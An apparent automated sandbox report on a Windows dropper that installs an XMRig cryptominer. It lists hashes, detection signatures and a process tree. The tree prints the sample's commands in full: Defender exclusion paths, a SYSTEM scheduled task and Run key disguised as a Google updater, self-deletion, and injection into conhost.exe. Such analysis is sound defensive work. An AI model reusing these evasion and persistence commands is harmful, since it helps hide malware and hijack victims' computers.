Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1799s -
max time network
1796s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
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Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
XJEzW6M7WvHaF3EX.exeupdater.execonhost.exedescription pid process target process PID 2104 created 1196 2104 XJEzW6M7WvHaF3EX.exe Explorer.EXE PID 2104 created 1196 2104 XJEzW6M7WvHaF3EX.exe Explorer.EXE PID 2104 created 1196 2104 XJEzW6M7WvHaF3EX.exe Explorer.EXE PID 2104 created 1196 2104 XJEzW6M7WvHaF3EX.exe Explorer.EXE PID 2820 created 1196 2820 updater.exe Explorer.EXE PID 2820 created 1196 2820 updater.exe Explorer.EXE PID 2820 created 1196 2820 updater.exe Explorer.EXE PID 2820 created 1196 2820 updater.exe Explorer.EXE PID 712 created 1196 712 conhost.exe Explorer.EXE PID 2820 created 1196 2820 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral27/memory/3048-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/3048-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2764 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2820 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1724 taskeng.exe -
Processes:
resource yara_rule behavioral27/memory/3048-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/3048-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2820 set thread context of 712 2820 updater.exe conhost.exe PID 2820 set thread context of 3048 2820 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
XJEzW6M7WvHaF3EX.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe XJEzW6M7WvHaF3EX.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2676 schtasks.exe 1452 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 708f30c3874eda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
XJEzW6M7WvHaF3EX.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 2104 XJEzW6M7WvHaF3EX.exe 2104 XJEzW6M7WvHaF3EX.exe 1632 powershell.exe 2104 XJEzW6M7WvHaF3EX.exe 2104 XJEzW6M7WvHaF3EX.exe 2672 powershell.exe 2104 XJEzW6M7WvHaF3EX.exe 2104 XJEzW6M7WvHaF3EX.exe 2104 XJEzW6M7WvHaF3EX.exe 2104 XJEzW6M7WvHaF3EX.exe 1884 powershell.exe 2820 updater.exe 2820 updater.exe 2460 powershell.exe 2820 updater.exe 2820 updater.exe 1888 powershell.exe 2820 updater.exe 2820 updater.exe 2820 updater.exe 2820 updater.exe 712 conhost.exe 712 conhost.exe 2820 updater.exe 2820 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 1632 powershell.exe Token: SeDebugPrivilege 2672 powershell.exe Token: SeDebugPrivilege 1884 powershell.exe Token: SeDebugPrivilege 2460 powershell.exe Token: SeDebugPrivilege 1888 powershell.exe Token: SeDebugPrivilege 2820 updater.exe Token: SeAssignPrimaryTokenPrivilege 2984 WMIC.exe Token: SeIncreaseQuotaPrivilege 2984 WMIC.exe Token: SeSecurityPrivilege 2984 WMIC.exe Token: SeTakeOwnershipPrivilege 2984 WMIC.exe Token: SeLoadDriverPrivilege 2984 WMIC.exe Token: SeSystemtimePrivilege 2984 WMIC.exe Token: SeBackupPrivilege 2984 WMIC.exe Token: SeRestorePrivilege 2984 WMIC.exe Token: SeShutdownPrivilege 2984 WMIC.exe Token: SeSystemEnvironmentPrivilege 2984 WMIC.exe Token: SeUndockPrivilege 2984 WMIC.exe Token: SeManageVolumePrivilege 2984 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2984 WMIC.exe Token: SeIncreaseQuotaPrivilege 2984 WMIC.exe Token: SeSecurityPrivilege 2984 WMIC.exe Token: SeTakeOwnershipPrivilege 2984 WMIC.exe Token: SeLoadDriverPrivilege 2984 WMIC.exe Token: SeSystemtimePrivilege 2984 WMIC.exe Token: SeBackupPrivilege 2984 WMIC.exe Token: SeRestorePrivilege 2984 WMIC.exe Token: SeShutdownPrivilege 2984 WMIC.exe Token: SeSystemEnvironmentPrivilege 2984 WMIC.exe Token: SeUndockPrivilege 2984 WMIC.exe Token: SeManageVolumePrivilege 2984 WMIC.exe Token: SeLockMemoryPrivilege 3048 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2672 wrote to memory of 2676 2672 powershell.exe schtasks.exe PID 2672 wrote to memory of 2676 2672 powershell.exe schtasks.exe PID 2672 wrote to memory of 2676 2672 powershell.exe schtasks.exe PID 2764 wrote to memory of 2588 2764 cmd.exe choice.exe PID 2764 wrote to memory of 2588 2764 cmd.exe choice.exe PID 2764 wrote to memory of 2588 2764 cmd.exe choice.exe PID 1884 wrote to memory of 1880 1884 powershell.exe schtasks.exe PID 1884 wrote to memory of 1880 1884 powershell.exe schtasks.exe PID 1884 wrote to memory of 1880 1884 powershell.exe schtasks.exe PID 1724 wrote to memory of 2820 1724 taskeng.exe updater.exe PID 1724 wrote to memory of 2820 1724 taskeng.exe updater.exe PID 1724 wrote to memory of 2820 1724 taskeng.exe updater.exe PID 1888 wrote to memory of 1452 1888 powershell.exe schtasks.exe PID 1888 wrote to memory of 1452 1888 powershell.exe schtasks.exe PID 1888 wrote to memory of 1452 1888 powershell.exe schtasks.exe PID 2820 wrote to memory of 712 2820 updater.exe conhost.exe PID 784 wrote to memory of 2984 784 cmd.exe WMIC.exe PID 784 wrote to memory of 2984 784 cmd.exe WMIC.exe PID 784 wrote to memory of 2984 784 cmd.exe WMIC.exe PID 2820 wrote to memory of 3048 2820 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2104
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1196
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1632
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2672 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2676
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-
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2764
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1884 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1880
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2460
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1452
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:896
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:784
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:712
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3048
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2588
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C:\Windows\system32\taskeng.exetaskeng.exe {F87B040E-2922-4F7B-A609-F75F17A39338} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2820
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2984
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
422KB
MD5b086e9ca38075eb188617bc1aef69a50
SHA17e47faedd0c2f7b60e88335c0ff0017ec2a10548
SHA25609dd658749f3fdc8a9c014e82dd4bbe565503867bdd071e52198b9adef523bf7
SHA51261af0708ee2b0c4bd59730a8e212eebceb196da4c0e3cee7f27d8f15ef92c39cd58626917c622b3241502c637eab4781a1dcc00c1d7303b38793d0b8970ab317
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Filesize
409KB
MD59bcea765a3bb9ae9897e0a79279e0983
SHA17ec8e10ec19bd16f3b25f5ce1eb565a464d62b91
SHA256fe5d9a7280423277f04db5141572bacb7928177a99cefc708a8b598f786e0a60
SHA5122f0434d3aa55b8da7e36567a35f3514270699d324a185f00a34342b658d53be82f75202c3f8199ae313345b44307fc02ee4e08ccbc6ea087e884b7fd065e70a2
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U7ODINRQMIWWHBG6NQC0.temp
Filesize7KB
MD530345050ee86f93263e2a7cfc7de661a
SHA18ec2ba1bb8ed1dc649acc557418b245de8e409a2
SHA25619768ce097198590bf8be523aee7192ddcbf7291f02d5199c961b61fef2de593
SHA5120dbd33281935a8404badcdac934d89372eb92082a656cba7330d8abed21fc2e4b4c8c038e7f222c5478c19adddeada520bd9f05c37da0d9acf0d4cb654005f42
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Filesize
451KB
MD567950f28923c69fea327b01f9c9b2021
SHA1f40539349e1a056b29cf6f75a70a462f2571275f
SHA2563c1048fd13d7972b8b3bd57ac06aeffecad29907f37ccfc7c720a0c64c9cda23
SHA512d764ad1a7cf639ffd1d771bb740ebfe0e02b776fe287849c7fbefbb5a1cb85e02c72ad2d903de163dc42be2bd7adb724e115c854eaf67ecb94a5197febb0e122